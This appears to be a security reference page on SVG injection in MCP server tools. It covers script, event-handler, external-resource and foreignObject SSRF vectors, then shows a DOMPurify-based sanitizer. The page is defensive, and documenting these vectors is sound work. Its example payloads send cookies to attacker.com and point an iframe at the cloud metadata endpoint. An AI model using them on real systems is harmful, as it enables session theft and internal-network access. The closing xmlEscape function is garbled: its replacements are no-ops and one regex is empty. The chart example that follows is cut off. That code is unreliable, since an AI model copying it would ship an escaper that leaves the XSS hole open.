Security reference · SVG · XSS
MCP server SVG injection security
SVG is XML with a full DOM, JavaScript execution capability, and external resource loading built into the specification. An MCP tool that generates, transforms, or fetches SVG content and returns it as tool output may produce SVG that, when rendered in a browser or web-capable UI, executes arbitrary JavaScript, loads external images from attacker infrastructure, or triggers SSRF from the rendering client. The attack surface appears wherever an MCP server passes SVG content through without sanitization — chart generators, icon tools, diagram converters, and any tool that fetches remote SVG files.
SVG attack vectors
1. Inline script execution
SVG supports <script> tags natively. When an SVG is rendered inline in HTML or served with Content-Type: image/svg+xml from the same origin, embedded scripts execute:
<!-- Attacker-controlled SVG that executes JavaScript when rendered -->
<svg xmlns="http://www.w3.org/2000/svg">
<script>fetch('https://attacker.com/steal?c=' + document.cookie)</script>
<circle cx="50" cy="50" r="40"/>
</svg>
2. Event handler injection
SVG elements support all HTML event handlers. Even if an SVG sanitizer strips <script> tags, event handlers on SVG shape elements remain an XSS vector:
<!-- Script-less XSS via event handlers -->
<svg xmlns="http://www.w3.org/2000/svg">
<circle cx="50" cy="50" r="40"
onload="fetch('https://attacker.com/steal')"
onclick="document.location='https://attacker.com'"
onmouseover="navigator.sendBeacon('https://attacker.com', document.cookie)"/>
</svg>
3. External resource loading
SVG can load external images, fonts, and referenced elements. These requests reveal the client's IP to the external server and can be used for tracking. If the MCP server renders SVG server-side (e.g., with puppeteer or sharp), external loads become SSRF from the server:
<!-- External resource loading — reveals client IP, potential SSRF if server-rendered --> <svg xmlns="http://www.w3.org/2000/svg"> <image xlink:href="https://attacker.com/tracker.png" x="0" y="0"/> <use xlink:href="https://attacker.com/defs.svg#icon"/> </svg>
4. SSRF via foreignObject
The <foreignObject> element embeds HTML inside SVG. When server-side rendering (e.g., puppeteer, wkhtmltopdf) processes this SVG, the embedded HTML may trigger navigation to internal services:
<svg xmlns="http://www.w3.org/2000/svg">
<foreignObject width="100" height="100">
<body xmlns="http://www.w3.org/1999/xhtml">
<iframe src="http://169.254.169.254/latest/meta-data/"></iframe>
</body>
</foreignObject>
</svg>
Where MCP tools are affected
| Tool type | SVG injection surface | Attack impact |
|---|---|---|
| Chart / diagram generator | User-controlled labels or data embedded in SVG output | XSS if rendered in browser |
| Icon / logo fetch tool | SVG fetched from user-controlled URL | Attacker SVG returned as tool output |
| SVG transform/optimize tool | Input SVG passed through without sanitization | Malicious SVG preserved in output |
| Screenshot / render tool | SVG input with foreignObject or external resources | Server-side SSRF during rendering |
| Markdown→HTML with inline SVG | SVG in Markdown image alt text or inline HTML | XSS in rendered output |
Sanitization: DOMPurify for SVG
The most reliable SVG sanitizer in the JavaScript ecosystem is DOMPurify with SVG-specific configuration. It handles script elements, event handlers, external hrefs, and foreignObject:
import DOMPurify from 'dompurify';
import { JSDOM } from 'jsdom';
// DOMPurify requires a DOM — use jsdom in Node.js environments
const { window } = new JSDOM('');
const purify = DOMPurify(window);
function sanitizeSVG(svgString) {
return purify.sanitize(svgString, {
USE_PROFILES: { svg: true, svgFilters: true },
FORBID_TAGS: ['script', 'foreignObject', 'animate', 'set'],
FORBID_ATTR: [
'onload', 'onclick', 'onmouseover', 'onerror', 'onfocus',
'onblur', 'onchange', 'onsubmit', 'onreset', 'onkeydown',
'onkeypress', 'onkeyup', 'onmousedown', 'onmouseup',
'onmousemove', 'onmouseout', 'onmouseenter', 'onmouseleave',
],
// Prevent external resource loading
ALLOW_DATA_ATTR: false,
});
}
// MCP tool: sanitize before returning SVG
server.tool('get_icon', { name: z.string() }, async ({ name }) => {
const rawSVG = await fetchIconFromRegistry(name);
const safeSVG = sanitizeSVG(rawSVG);
return { content: [{ type: 'text', text: safeSVG }] };
});
Safe SVG generation (no user-controlled attributes)
The safest approach for SVG-generating tools is to build SVG programmatically rather than interpolating user input into SVG strings. When user data appears in SVG, always XML-escape it and never place it inside element names, attribute names, or element tag positions:
function xmlEscape(str) {
return String(str)
.replace(/&/g, '&')
.replace(//g, '>')
.replace(/"/g, '"')
.replace(/'/g, ''');
}
// WRONG — user data interpolated into SVG unsanitized
function generateChart(title, value) {
return ``;
// ^^ XSS if title contains